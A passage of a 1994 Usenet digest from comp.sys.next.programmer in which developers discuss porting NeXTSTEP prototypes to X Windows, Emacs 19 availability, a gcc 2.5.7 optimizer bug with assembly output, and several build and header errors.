straightforward to port from NS to X, or vice > versa? The NS environment is much richer. The AppKit is more coherent and does much more for you (see above about First Responder as an example). Another thing is Display Postscript. X is okay as a drawing model, but most decent printers these days work in Postscript. In NeXT, printing is simply sending the same postscript commands (which are often handled automatically by the "widgets" or GUI objects you use in your app) to the printer. In Motif, you have to take an X-based drawing model and do your own translation. Sigh... Trying to print a spreadsheet-like query in WSYWIG form from Motif took us about 2 months of labor... In NeXTSTEP, it was as trivial as sending a [myWindow printPSCode] message. Unfortunately, translating from NS to X or visa versa is not simple since the paradigms are somewhat different and the implementation is VERY different. At best, you can use your algorithm code, but that is obvious. Fortunately, because NS is easier, at least it appears easier to port from X to NS. But in reality, it is not really easier, since it would probably take the same time to implement from scratch assuming the design was solid. > 3. Are there toolkits available that can facilitate the port? Not that I know of. > 4. Anybody have any war stories about doing such ports that they > want to share? See above for my prototype short story. > I suspect that I'm going to need good answers to these questions, > perhaps even others, if I'm going to make that sale. And such > situations may well arise for others from time to time. Try and get them to buy in to NS. You will really be better off. Jon Rosen ===================================================================== From harit@kripalu.com Sun Jan 16 06:02:01 1994 In comp.sys.next.programmer article <9401141758.AA13429@cantina.lanl.gov> you wrote: > 1. I was making the (unsubstantiated?) claim that NS development was > about four times easier (faster, simpler, cleaner, etc.) than X-windows > development. True? I would guess closer to 10 times. > 2. Is the NS developers' environment "richer" than that for X? I.e., > is it more straightforward to port from NS to X, or vice versa? Display postscript and object frameworks make NeXT much richer. > 3. Are there toolkits available that can facilitate the port? Not that I know of, but when Sun delivers OpenStep that may be an option for you. -- Michael Allen Latta Kripalu Center harit@kripalu.com (413)448-3288 ===================================================================== From: yanik@planon.qc.ca (Yanik Crepeau) Subject: Re: Porting NS prototypes to X-windows Date: Sat, 15 Jan 1994 00:39:47 GMT In article <9401141758.AA13429@cantina.lanl.gov> Dick Silbar writes: > 1. I was making the (unsubstantiated?) claim that NS development > was about four times easier (faster, simpler, cleaner, etc.) than > X-windows development. True? False! I used to work with the MacOS (which is easier than X-Window) and I feel that the factor NS/Mac of 10 even 20 would be more appropriate. > 2. Is the NS developers' environment "richer" than that for X? > I.e., is it more straightforward to port from NS to X, or vice versa? It is hard to compare. Object-oriented programming (with NeXTSTEP) is considered better than regular structured programming. With Interface Builder, building working interface is an easy task. A good NS Programmer could create a Word Processing application in 30 minutes. It is just matter of moving objects and connecting them. Comparing X-Window to NeXTSTEP is like comparing a chariot to an automobile. Both the chariot and the automobile use the road to move from point A to point B. Now imagine in 1900 an old UPS manager investigating for new vehicules and saying: automobiles seem very good but it is not as standard as horses and our customers will be nervous if they don't see horses... Could you find some way to put horses in the front of an automobile? By the way, what is the fundamental difference between NeXTSTEP and X? 1) NS uses Display PostScript and X uses bit maps. 2) X is a set of primitives driving a screen, picturing bit maps of windows. NeXTSTEP is a complete OS that can do anything both what X-Server and X-Client can do. With NeXTSTEP, you are forced to think-object, live-object, eat-object, do anything with objects. So the code written for the NeXT is deeply object oriented. With the X environment, you can't even dream about objects. (It is not beacause you use C++ that you create objects; so, show me C++ objects working with X that could do what Appkit does!) Yanik Crepeau Programmer Planon Telexpertise E-Mail: yanik@planon.qc.ca (NeXT) ===================================================================== Newsgroups: comp.sys.next.programmer From: jfr@aspen.pdh.com (Jon F. Rosen) Subject: Re: Porting NS prototypes to X-windows Date: Sun, 16 Jan 1994 10:06:11 GMT Yanik Crepeau writes > > By the way, what is the fundamental difference between NeXTSTEP > and X? > > 1) NS uses Display PostScript and X uses bit maps. Yanik, you are misstating what X is and isn't. X can't be compared to NeXTSTEP because X is NOT an OS, it is a display protocol. X can and should be compared to Display Postscript. Your statement is like saying the 747 uses a Pratt&Whitney jet engine, but a Rolls-Royce jet engine uses JP-50 fuel. So what? You should be comparing the engines, not a plane to another engine. More importantly, you leave the impression that X uses bit maps whereas Postscript (or NeXT) use something else. Postscript uses bit maps just as much as X does in its back-end display to render images to devices. X uses bit maps just as much as Postscript does in much of its front-end (X and Postscript can both handle TIFF images, etc.). X, like Postscript, also has a set of line-drawing and curve drawing primitives, as well as font-rendering and color setting primitives. The main differences between X and Postscript are that Postscript is also the standard used in most printers that support more than just character or bit-map printing and X has no equivalent support in any printing system, and Postscript uses a language to implement its drawing primitives, while X is basically a set of library APIs. On the pro side of X, it has a standardized networking interface which permits X to operate in a client/server mode which allows you do detach the display operations from the program. NeXT does this too (although Display Postscript itself doesn't require it). However, NeXT only lets you use a NeXTSTEP-equipped workstation as the window server (although it can be a different NeXTSTEP-equipped workstation than the one running the program) whereas X lets you use any system that supports the X protocol. > 2) X is a set of primitives driving a screen, picturing bit maps > of windows. NeXTSTEP is a complete OS that can do anything > both what X-Server and X-Client can do. > > With NeXTSTEP, you are forced to think-object, live-object, > eat-object, do anything with objects. So the code written for > the NeXT is deeply object oriented. With the X environment, > you can't even dream about objects. (It is not beacause you > use C++ that you create objects; so, show me C++ objects > working with X that could do what Appkit does!) I don't understand these last lines, but I have certainly used X under Sun OS and C++ and Motif with a GUI builder like Interface Builder that supported C++ bindings to Motif "wdigets" (like AppKit objects) and allowed an amazing amount of stuff to be done like IB. Even better, it had a built-in interpreter for C and C++, so you could actually run all of your code (not just "test the interface" like in IB) inside the GUI Builder (it was called UIM/X). This was MUCH better than IB. Does this mean I liked it better than NeXT? No, but for reasons based in reality, not imagination. Basically, it was just harder to write programs in C++ and Motif because the supplied objects and interfaces just weren't good enough. But this has little to do with X. In fact, I expect that Display Postscript layered on top of X (which is perfectly feasible and has already been done on a number of systems) will allow OpenStep to work in X environments as well (possibly even better and more flexibly) as in a native NeXTSTEP environment. Jon Rosen ===================================================================== From: rep@hrz.tu-chemnitz.de (Ralph Eppert) Date: 17 Jan 94 12:52:22 GMT silbar@cantina.lanl.gov (Dick Silbar) writes: > 3. Are there toolkits available that can facilitate the port? Get the objcX library from Paul Kunz and others. You can get it via ftp from ftp.slac.stanford.edu pub/sources/objcX-0.6.tar.gz - this is an appkit like lib for X and Motif (Objective C!!) nearly all the classes from appkit available but not everything is yet implemented. You need: gcc later than 2.3.3 Motif libs pub/sources/objcX-0.6.tar.gz - a translator for nib files to files that can be read by the above mentioned lib The lib is nearly compatible with the AppKit, but the following things are missing: Display Postscript, rich text, drag'n'drop, pasteboard, services etc.. But for your purposes I think it's worth a try. In case your app needs drawing you have to deal with the Xlib drawing routines. But they are easy to understand and use and many people here on the net can give you advise. ( Take a look at comp.windows.x.motif ) > 4. Anybody have any war stories about doing such ports that they want to share? Contact Paul Kunz, they made a port of their HippoDraw program with the help of this library. (You probably have to contact him, because there is no real documentation, besides the README's. ) Hope this helps a little bit... , Ralph Eppert EMail: rep@informatik.tu-chemnitz.de ===================================================================== From: thf@zelator.in-berlin.de (Thomas Funke) Date: Sun, 16 Jan 1994 13:45:49 GMT In article <9401141758.AA13429@cantina.lanl.gov> silbar@cantina.lanl.gov (Dick Silbar) writes: > > "Well, nice, but I don't want to force MY customers into using > a platform they've never heard of or don't want to get into. > How hard would it be to develop your front-end for my code and > then, when we're happy with it, port it to X?" > > OK, I don't know very much about X-windows, so I am passing > the question along to you folks. 1. It's good to know NEXTSTEP. 2. It's good to know nothing about X. 3. To make a living, you have to deliver X-software, not NEXTSTEP. How can we solve this problem ? Use tk/tcl. For a first look, read comp.lang.tcl. Get the FAQ. Install the stuff on NeXT (easy, as on almost all unix machines). Try the examples for a few days. After one week, you'll do X programs on which every long-experienced Motif hacker will envy you. > 1. I was making the (unsubstantiated?) claim that NS development > was about four times easier (faster, simpler, cleaner, etc.) > than X-windows development. True? Everything you can do with IB only is faster than anything on X. But when you start programming it's different: Because tk/tcl is interpreted, it's much faster than doing long compile/link cycles. You can do many tasks with tk/tcl quicker than on NeXT. Tk/tcl is easier than appkit-programming. To be good in NeXTSTEP you need several months experience. To be good in Motif, you need years :-), to be good in TK you need 2-3 weeks at most. Especially if you have unix commandline programs and want to have a nice GUI around, TK/TCL is the way to go, because of the nice features forking processes and analysing the output via regular expressions. This way I did a complicated interface to a ingres database in a very short time. TK/TCL is portable: It will run on nearly everything which looks like unix: Linux, SunOS, Solaris, AIX, Ultrix and so on. It is very stable and has a well done design. You get bugfixes immediately (from the newsgroup). And it's FREE ! The drawbacks of tk/tcl? Not much. Still it's X. The really advanced features from NeXTSTEP like Postscript drawing, 3D-kit or drag'n'drop are not there. Because it's interpreted, you have to deliver source code. In some (rare) cases, you'll have performance problems. tcl-code is not object-oriented and thus lacks of good structuring. But anyway you'll use it mostly for the GUI, doing the application code in C/C++ . Thomas Funke ** Unix-Consultant ** thf@zelator.in-berlin.de ===================================================================== From: 0005508785@mcimail.com (ErgoTech Development, Inc.) Newsgroups: comp.sys.next.programmer Subject: RE: Porting NS prototypes to X-windows Date: 18 Jan 1994 13:12:26 -0600 Dick Silbar and other are asking about X. Slightly unrelated: Does anyone know anything about the future of Adobe's DPS NX software? This is a DPS server and X client. That is, it interprets DPS and turns it into X calls. My understanding of this is that, if it ran on NS, you could run your application on NS and see the out put on ANY X terminal. So you could run on NS and watch the output on Sun's even MS Windows (via an X-Term product). An amazing useful product. Will it ever run on NS? Jim Redman =====================================================================
Newsgroups: comp.sys.next.programmer From: alex@cs.umd.edu (Alex Blakemore) Subject: Re: Rich Text Source Code?! Message-ID: <CJzH7o.2F2@genoa.com> Sender: alex@genoa.com (Alex Blakemore) Organization: Genoa Software Systems References: <CEDMAN.94Jan19194738@capitalist.princeton.edu> Date: Fri, 21 Jan 1994 14:21:24 GMT Carl Edman writes > If you have emacs 19 for NeXTstep (or run emacs 19 under one of the X > emulators) you can see all the bold/italic/underline/colors on your > NeXT right now. but didnt the person(s) who ported emacs 19 to NEXTSTEP refuse to release it? Wasn't that you? If so, please release your source with no warranty or stop teasing us. -- Alex Blakemore alex@cs.umd.edu NeXT mail accepted
Newsgroups: comp.sys.next.programmer From: rpomeroy@aunext1.amd.com (Ron Pomeroy x(Coop)) Subject: Latest version of gcc (source)...where? Message-ID: <CJzMK8.MAn@dvorak.amd.com> Sender: news@dvorak.amd.com (Usenet News) Organization: Advanced Micro Devices, Austin TX Distribution: usa Date: Fri, 21 Jan 1994 16:16:55 GMT Hey Net GNUrus, I need to compile the latest version of GCC for HP-SUX...err...HPUX that is. What is the latest version number and where can I get the sources ? Any pointers appreciated! -- Ronald Pomeroy Advanced Micro Devices CAM Applications Group rpomeroy@aunext1.amd.com
From: randy@uutopia.ud.dell.com (Randy Price) Newsgroups: comp.sys.next.programmer Subject: wn format Date: 21 Jan 1994 17:32:15 GMT Organization: Dell Computer Corporation Message-ID: <2hp3iv$maa@uudell.us.dell.com> I am running NextStep on Intel and am playing with some of the ftp stuff. Is there a utility that will convert from wn format tp Rich Text? Randy
Newsgroups: comp.sys.next.programmer From: flash!jon@dsi.com Subject: Making a service with 3.2 PB Message-ID: <CJzqrw.8rG@dsinc!flash> Sender: jon@dsinc!flash (Jonathan Hendry) Organization: Who Needs It? Date: Fri, 21 Jan 1994 17:47:53 GMT Hey, PB Gurus- I want to have ProjectBuilder handle building my lipo.service, as a subproject of LipoDoc. Unfortunately, it won't let me add the required services file to the subproject. Any suggestions on how I could hack the Makefiles? Or should I just go back to compiling it "by hand"? Thanks- Jon -- Jonathan W. Hendry Inexpensive NeXTSTEP Consulting tjhendry@mcs.drexel.edu For Your "Not-So-Mission-Critical" Apps
Newsgroups: comp.sys.next.programmer From: hsr@cs.Stanford.EDU (Scott Roy) Subject: -O gives incorrect assembly code in gcc 2.5.7 Message-ID: <1994Jan21.182617.7659@CSD-NewsHost.Stanford.EDU> Sender: news@CSD-NewsHost.Stanford.EDU Organization: Computer Science Department, Stanford University, California, USA Date: Fri, 21 Jan 1994 18:26:17 GMT Could someone who's compiled gcc 2.5.7 confirm the following bug for me? Before I expend too much effort I'ld like to make sure the problem is the compiler, and not something stupid that I did in building it. Thanks, --- Scott Roy Department of Computer Science Stanford University --------------------------------------------------------- GCC v 2.5.7, built for m68k-next-bsd NEXTSTEP 3.2 m68k Using -O produces incorrect assembly code for the program below. The problem seems to be an invalid instruction reordering, but I don't know enough about the gory details to render a judgment. The attached program is the simplest I could find that exhibits the bug. I've included both the source and the assembly code that gcc produces. The source code needs to be this long only because it results in the particular sequence of register assignments that triggers the bug. int yyy ( int * a, int * b, int * c, int * d, int * e, double * f, int * g ) { if (* a) { f[* b] = 1; /* <-- This line is the problem. */ } else { if (* c) { * d = 1; * e = 1; * g = 1; } else { zzz(e); } zzz(f); } } --------------------------------------------------- Here's the assembly code output produced by 'gcc -S -O yikes.c'. The bad code is right near the beginning. I've inserted comments pointing it out. Note that removing anything in the source program lets gcc store the variable f in an address register, and the bug disappears. text .align 1 globl _yyy _yyy: link a6,#0 moveml #0x203c,sp@- movel a6@(8),a0 movel a6@(12),a4 movel a6@(16),a2 movel a6@(20),a5 movel a6@(24),a1 movel a6@(28),d2 movel a6@(32),a3 tstl a0@ jeq L2 movel a4@,d0 % a4 = b; d0 = *b lea a0@(d0:l:8),a0 % a0 = a, so what's it doing here? movel #1072693248,a0@ % ... crash and burn clrl a0@(4) movel d2,a0 % d2 = f; if this were before lea... jra L3 L2: tstl a2@ jeq L4 moveq #1,d1 movel d1,a5@ movel d1,a1@ movel d1,a3@ jra L5 L4: movel a1,sp@- jbsr _zzz addqw #4,sp L5: movel d2,sp@- jbsr _zzz L3: moveml a6@(-20),#0x3c04 unlk a6 rts
From: marcus@ursula.ee.pdx.edu (Marcus Daniels) Newsgroups: comp.sys.next.programmer Subject: Re: Rich Text Source Code?! Date: 21 Jan 1994 11:35:06 -0800 Message-ID: <2hpapa$euj@ursula.ee.pdx.edu> References: <CEDMAN.94Jan19194738@capitalist.princeton.edu> <CJzH7o.2F2@genoa.com> alex@cs.umd.edu (Alex Blakemore) writes: >but didnt the person(s) who ported emacs 19 to NEXTSTEP refuse >to release it? Wasn't that you? >If so, please release your source with no warranty or stop >teasing us. They _did_ release it. Thank god, a real editor for NS. Thanks Carl!
From: nika!ken@uunet.UU.NET (Ken Pelletier) Newsgroups: comp.sys.next.programmer Subject: RE: WinSock under SoftPC? Date: 21 Jan 1994 14:25:57 -0600 Organization: UTexas Mail-to-News Gateway Sender: daemon@cs.utexas.edu Message-ID: <9401211956.AA02264@nika> Bert, I'm not sure if winsock is supported under SoftPC, but the TCP/IP protocol stack that comes with SoftPC (load it with the ISTCPIP command) allows you to use Novell's Lan Workplace for DOS Toolkit to develop socket-based apps. Last I heard from Novell, they will be supporting the winsock spec in a future release of the toolkit, so that should get you winsock development tools for SoftPC. (There may be a winsock.dll for LWP already) Novell also have an RPC toolkit for DOS, Windows and Netware that rides on the LWP protocol stack, so RPC's under SoftPC are also possible. I'm hacking up some Windows clients/NS servers to test this stuff out and, so far, so good. Maybe sockets or RPC could provide a useful "gateway" between NS and Windows apps on the same box, or elsewhere on a net - if anything involving Windows can be considered "useful". ;-) Good luck. - Ken (ken@nika.com) NiKA Software, Inc. Chicago, IL > What are the networking capabilities of SoftPC? > > Certainly, we do as much networking in NEXTSTEP (NFS mounting, etc), > but we also have some Windows programs that use WinSock. > > Any info? > > Thanks, > Bert > > -- > Bert Lindgren Georgia Tech, Atlanta Georgia, 30332 (404) 841-6220 > Internet: bert@cc.gatech.edu Prodigy: Surely you jest >
Newsgroups: comp.sys.next.programmer From: abreeve@afterlife.ncsc.mil (Allen B. Reeves) Subject: Invitation to NeXT programmers Message-ID: <1994Jan21.020039.17192@afterlife.ncsc.mil> Bcc: abreeve Organization: The Great Beyond Date: Fri, 21 Jan 1994 02:00:39 GMT It would certainly be most gratifying to see the many excellent programmers and other contributors to the past NeXT architecture create, migrate and otherwise develop many of the wonderful tools, utilities, etc. on the Amiga line of fine 680XX based computer workstations. Being a past user and supporter of the NeXT computer line, I personnally invite all of you talented people to consider the Amiga platform. Thank you sincerely -- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ "The reasonable man adapts himself to the world; the unreasonable one persists in trying to adapt the world to himself. Therefore, all A3K & /// progress depends on the unreasonable man." --George Bernard Shaw
Newsgroups: comp.sys.next.programmer From: cowboy@omega.csuohio.edu (Joe Rosenfeld) Subject: Back into the Twilight Zone Message-ID: <1994Jan21.203407.11750@news.csuohio.edu> Sender: news@news.csuohio.edu (USENET News System) Organization: Cleveland State University Date: Fri, 21 Jan 1994 20:34:07 GMT I have been trying to figure out the arcane programming knowledge needed to install the GNUSource which comes with the NS 3.2 package. I was finally able to get NeXTapps to compile as FAT binaries. You see, I had not switched the ProjectBuilder preferences to indicate this and when you do so in the OPTIONS window of the current Project it apparently affect the next project (?) so I set my Preferences and this is taken care of. Two problems remain. How to compile non-NeXTapps as MAB binaries and how to get the entire GNUSource on the Developer CD ROM to successfully make and install. 1. How do you make FATs using without installing GNUSource? I have lipoed my libs and the m68k and i386 architectures are in the FAT file. Would be very grateful for assistance so programs like Tin can be compiled as a FAT binary. 2. How do you get the cctools and debug to compile under the NeXT GNUSource? Here are some excerpts from what projectBuilder does for me }-) --ll for libstuff ============= cc -O -g -Wall -Wno-precomp -I../include -arch m68k -arch i386 -c -MD -dependency-file ./allocate.d -o ./allocate.o allocate.c md -d -u Makedep ./allocate.d cc -O -g -Wall -Wno-precomp -I../include -arch m68k -arch i386 -c -MD -dependency-file ./errors.d -o ./errors.o errors.c md -d -u Makedep ./errors.d cc -O -g -Wall -Wno-precomp -I../include -arch m68k -arch i386 -c -MD -dependency-file ./arch.d -o ./arch.o arch.c md -d -u Makedep ./arch.d cc -O -g -Wall -Wno-precomp -I../include -arch m68k -arch i386 -c -MD -dependency-file ./execute.d -o ./execute.o execute.c md -d -u Makedep ./execute.d cc -O -g -Wall -Wno-precomp -I../include -arch m68k -arch i386 -c -MD -dependency-file ./bytesex.d -o ./bytesex.o bytesex.c md -d -u Makedep ./bytesex.d cc -O -g -Wall -Wno-precomp -I../include -arch m68k -arch i386 -c -MD -dependency-file ./round.d -o ./round.o round.c md -d -u Makedep ./round.d Make: Don't know how to make arch_usage.o. Stop. *** Exit 1 Stop. For DEbug: =========== make all for glob ============= /bin/rm -f ./libglob.a ar clq ./libglob.a obj/glob.o obj/tilde.o if [ -f /bin/ranlib ]; then /bin/ranlib ./libglob.a; fi =========== make all for libiberty ============= /bin/rm -f ./libiberty.a ar clq ./libiberty.a obj/argv.o obj/basename.o obj/concat.o obj/cplus-dem.o obj/fdmatch.o obj/getcwd.o obj/getopt.o obj/getopt1.o obj/obstack.o obj/spaces.o obj/strerror.o obj/strsignal.o obj/strdup.o if [ -f /bin/ranlib ]; then /bin/ranlib ./libiberty.a; fi =========== make all for readline ============= /bin/rm -f ./libreadline.a ar clq ./libreadline.a obj/readline.o obj/history.o obj/funmap.o obj/keymaps.o if [ -f /bin/ranlib ]; then /bin/ranlib ./libreadline.a; fi =========== make all for gdb ============= =========== make all for m68k ============= cc -DGDB_68K -g -O -DHOST_SYS=NeXT -DNO_MMALLOC_CHECK -DNO_MMALLOC -I. -I./obj -I../next -I.. -I../../include -I../../readline -I../../../Common -ObjC -I./sym -ObjC -arch m68k -I. -c obj/init.c -o ./obj/init.o obj/init.c:3: syntax error, missing `;' after `_' obj/init.c:4: syntax error, missing `;' after `_' obj/init.c:4: illegal statement, missing `;' after `_' obj/init.c:5: syntax error, missing `;' after `_' obj/init.c:5: illegal statement, missing `;' after `_' obj/init.c:6: syntax error, missing `;' after `_' obj/init.c:6: illegal statement, missing `;' after `_' obj/init.c:7: syntax error, missing `;' after `_' obj/init.c:7: illegal statement, missing `;' after `_' obj/init.c:8: syntax error, missing `;' after `_' obj/init.c:8: illegal statement, missing `;' after `_' obj/init.c:9: syntax error, missing `;' after `_' obj/init.c:9: illegal statement, missing `;' after `_' obj/init.c:10: syntax error, missing `;' after `_' obj/init.c:10: illegal statement, missing `;' after `_' obj/init.c:11: syntax error, missing `;' after `_' obj/init.c:11: illegal statement, missing `;' after `_' obj/init.c:12: syntax error, missing `;' after `_' obj/init.c:12: illegal statement, missing `;' after `_' obj/init.c:13: syntax error, missing `;' after `_' obj/init.c:13: illegal statement, missing `;' after `_' obj/init.c:14: syntax error, missing `;' after `_' obj/init.c:14: illegal statement, missing `;' after `_' obj/init.c:15: syntax error, missing `;' after `_' obj/init.c:15: illegal statement, missing `;' after `_' obj/init.c:16: syntax error, missing `;' after `_' obj/init.c:16: illegal statement, missing `;' after `_' obj/init.c:17: syntax error, missing `;' after `_' obj/init.c:17: illegal statement, missing `;' after `_' obj/init.c:18: syntax error, missing `;' after `_' obj/init.c:18: illegal statement, missing `;' after `_' obj/init.c:19: syntax error, missing `;' after `_' obj/init.c:19: illegal statement, missing `;' after `_' obj/init.c:20: syntax error, missing `;' after `_' obj/init.c:20: illegal statement, missing `;' after `_' obj/init.c:21: syntax error, missing `;' after `_' obj/init.c:21: illegal statement, missing `;' after `_' obj/init.c:22: syntax error, missing `;' after `_' obj/init.c:22: illegal statement, missing `;' after `_' obj/init.c:23: syntax error, missing `;' after `_' obj/init.c:23: illegal statement, missing `;' after `_' obj/init.c:24: syntax error, missing `;' after `_' obj/init.c:24: illegal statement, missing `;' after `_' obj/init.c:25: syntax error, missing `;' after `_' obj/init.c:25: illegal statement, missing `;' after `_' obj/init.c:26: syntax error, missing `;' after `_' obj/init.c:26: illegal statement, missing `;' after `_' obj/init.c:27: syntax error, missing `;' after `_' obj/init.c:27: illegal statement, missing `;' after `_' obj/init.c:28: syntax error, missing `;' after `_' obj/init.c:28: illegal statement, missing `;' after `_' obj/init.c:29: syntax error, missing `;' after `_' obj/init.c:29: illegal statement, missing `;' after `_' obj/init.c:30: syntax error, missing `;' after `_' obj/init.c:30: illegal statement, missing `;' after `_' obj/init.c:31: syntax error, missing `;' after `_' obj/init.c:31: illegal statement, missing `;' after `_' obj/init.c:32: syntax error, missing `;' after `_' obj/init.c:32: illegal statement, missing `;' after `_' obj/init.c:33: syntax error, missing `;' after `_' obj/init.c:33: illegal statement, missing `;' after `_' obj/init.c:34: syntax error, missing `;' after `_' obj/init.c:34: illegal statement, missing `;' after `_' obj/init.c:35: syntax error, missing `;' after `_' obj/init.c:35: illegal statement, missing `;' after `_' obj/init.c:36: syntax error, missing `;' after `_' obj/init.c:36: illegal statement, missing `;' after `_' obj/init.c:37: syntax error, missing `;' after `_' obj/init.c:37: illegal statement, missing `;' after `_' obj/init.c:38: syntax error, missing `;' after `_' obj/init.c:38: illegal statement, missing `;' after `_' obj/init.c:39: syntax error, missing `;' after `_' obj/init.c:39: illegal statement, missing `;' after `_' *** Exit 1 Stop. *** Exit 1 Stop. *** Exit 1 Stop. *** Exit 1 Stop. As you can see, this is getting kind of comical. Any and all useful comments are GREATLY appreciated. If this is solved, I will post a summary to the list and keep one on Gopher and a developing HTTPD server. I would be happy to do so. Regards- Joe | Joe Rosenfeld j.rosenfeld@csuohio.edu | Automation Librarian (216) 687-6881 [FAX] | CSU Law Library trans.csuohio.edu [ANON FTP] | NeXTMail and MIME ok
Newsgroups: comp.sys.next.programmer From: thf@zelator.in-berlin.de (Thomas Funke) Subject: Re: parse error in stdio.h? Message-ID: <1994Jan20.124316.1396@gamelan> Sender: thomas@gamelan (thomas) Organization: Disorganization References: <2hh6um$6v@charm.magnus.acs.ohio-state.edu> Date: Thu, 20 Jan 1994 12:43:16 GMT In article <2hh6um$6v@charm.magnus.acs.ohio-state.edu> rjackson@magnus.acs.ohio-state.edu (Randy W Jackson) writes: > In file included from area.c:2: > /NextDeveloper/Headers/ansi/stdio.h:234: parse error before `*' > Why would the header file not compile? > I have looked at the header file, but can't see any syntax error. This is a feature of C: What you see is not what you get. In your case, FILE is undefined. It seems that this happens when you compile with _POSIX_SOURCE but not _NEXT_SOURCE or __STRICT_ANSI_. Try to compile without -posix or check your headers if they define _POSIX_SOURCE somewhere. Or additionally define _NEXT_SOURCE -- ------------------------------------------------------------------ Thomas Funke ** Unix-Consultant ** thf@zelator.in-berlin.de Brooks's Law: Adding manpower to a late software project makes it later ------------------------------------------------------------------
From: Charles William Swiger <infidel+@CMU.EDU> Newsgroups: comp.sys.next.programmer Subject: Re: Rich Text Source Code?! Date: Fri, 21 Jan 1994 13:18:57 -0500 Organization: Fifth yr. senior, Chemistry, Carnegie Mellon, Pittsburgh, PA Message-ID: <EhE1mFO00iUyQ5NDob@andrew.cmu.edu> In-Reply-To: <CJzH7o.2F2@genoa.com> Excerpts from netnews.comp.sys.next.programmer: 21-Jan-94 Re: Rich Text Source Code?! by Alex Blakemore@cs.umd.ed > Carl Edman writes >> If you have emacs 19 for NeXTstep (or run emacs 19 under one of the X >> emulators) you can see all the bold/italic/underline/colors on your >> NeXT right now. > > but didnt the person(s) who ported emacs 19 to NEXTSTEP refuse > to release it? Wasn't that you? > If so, please release your source with no warranty or stop > teasing us. Let me echo Alex's comments. I am happy with Emacs 19 running under the Emacs (3.0) front end, but I would much rather have a native version. Is there some reason why you don't want to release your changes? If so, simply telling us that reason would stop people from asking you to release the native version of Emacs 19. -Chuck Charles William Swiger -- CMU...*splat*! | 1. You can't fly. --------------------------------------------+ 2. Cars are always real, even AMS & normal mail: infidel@cmu.edu | when they're not. Failing that: cs4w+@andrew.cmu.edu | 3. Police are not your friends. NeXTmail: chuck@cswiger.slip.andrew.cmu.edu | 4. Fire burns.
Newsgroups: comp.sys.next.programmer From: alex@cs.umd.edu (Alex Blakemore) Subject: Re: Rich Text Source Code?! Message-ID: <CK012J.3FA@genoa.com> Sender: alex@genoa.com (Alex Blakemore) Organization: Genoa Software Systems References: <2hpapa$euj@ursula.ee.pdx.edu> Date: Fri, 21 Jan 1994 21:30:18 GMT I wrote: >> didnt the person(s) who ported emacs 19 to NEXTSTEP refuse to release it? Marcus Daniels replied: > They _did_ release it. great, my apologies to Carl and thanks for doing this. would someone please post the location where NS emacs19 can be found? -- Alex Blakemore alex@cs.umd.edu NeXT mail accepted
Newsgroups: comp.sys.next.programmer From: davis@sonata.cc.purdue.edu (Robert Davis) Subject: Re: Rich Text Source Code?! Message-ID: <CK0C15.7Dq@mentor.cc.purdue.edu> Sender: news@mentor.cc.purdue.edu (USENET News) Organization: Purdue University, West Lafayette, IN References: <CEDMAN.94Jan19194738@capitalist.princeton.edu> <CJzH7o.2F2@genoa.com> <2hpapa$euj@ursula.ee.pdx.edu> Date: Sat, 22 Jan 1994 01:27:05 GMT In article <2hpapa$euj@ursula.ee.pdx.edu>, Marcus Daniels <marcus@ursula.ee.pdx.edu> wrote: >alex@cs.umd.edu (Alex Blakemore) writes: > >>but didnt the person(s) who ported emacs 19 to NEXTSTEP refuse >>to release it? Wasn't that you? >>If so, please release your source with no warranty or stop >>teasing us. > >They _did_ release it. Thank god, a real editor for NS. Thanks >Carl! > Where is it? Rob -- | Robert Davis davis@sonata.cc.purdue.edu | "Look up, Hannah." NeXT Mail accepted --
From: izumi@pinoko.berkeley.edu (Izumi Ohzawa) Newsgroups: comp.sys.next.programmer Subject: DigitalLibrarian indexing service filter daemon -- example requested Date: 22 Jan 1994 03:08:11 GMT Organization: University of California, Berkeley Distribution: world Message-ID: <2hq5ar$jru@agate.berkeley.edu> Does anyone have example source code for Librarian indexing service implemented as a filter? I am looking for for something similar to manfilter.daemon in /NextLibrary/Services/Indexing.service/ ? Filter: ManDescribe Port: IXMANFILTER Send Type: NXTypedFileContentsPboardType:man Return Type: IXFileDescriptionPboardType Executable: manfilter.daemon I just can't figure out how to read from the pasteboard of type NXTypedFileContentsPboardType:<type>. So, if not the whole thing, a snippet of code for getting the data out from that send type PB would sure be nice. Thanks. -- Izumi Ohzawa [ $@Bg_78^=;(J ] USMail: University of California, 360 Minor Hall, Berkeley, CA 94720 Telephone: (510) 642-6440 Fax: (510) 642-3323 Internet: izumi@pinoko.berkeley.edu (NeXTMail OK)
From: marcus@ursula.ee.pdx.edu (Marcus Daniels) Newsgroups: comp.sys.next.programmer Subject: Re: Rich Text Source Code?! Date: 21 Jan 1994 21:22:38 -0800 Message-ID: <2hqd6u$lb@ursula.ee.pdx.edu> References: <CEDMAN.94Jan19194738@capitalist.princeton.edu> <CJzH7o.2F2@genoa.com> <2hpapa$euj@ursula.ee.pdx.edu> <CK0C15.7Dq@mentor.cc.purdue.edu> Sheesh, where ya been, folks? It has been available for months! lynx.ps.uci.edu:/pub/NeXT/emacs-19-for-NeXTstep
From: silbar@cantina.lanl.gov (Dick Silbar) Newsgroups: comp.sys.next.programmer Subject: A "separator error" in common.make?!? Date: 21 Jan 1994 23:28:25 -0600 Organization: UTexas Mail-to-News Gateway Sender: daemon@cs.utexas.edu Message-ID: <9401220526.AA03764@cantina.lanl.gov> I have been trying to build a very simple App that mostly consists of things dragged in from the IB palette. I get the following error: Make: /NextDeveloper/Makefiles/app/common.make: Must be a separator on line 333. Stop. Never saw this before (even though I've done essentially similar things before, even last night). I looked at line 333, even though PB basically says not to fool around with the Makefile (and its brothers). [I didn't fiddle with Makefile.preamble or .postamble.] No obvious missing separators. Also, I see no obvious reason why such a simple line as $(NAME).copy:: DEST $(DEST) $(SRCFILES) in a file that's in a directory for which I don't have write privileges should change from one night to the next. (I'm the only root user on this machine.) So, I'm clueless in Gaga Land. Running NS/I 3.2. Dick Silbar WhistleSoft, Inc.
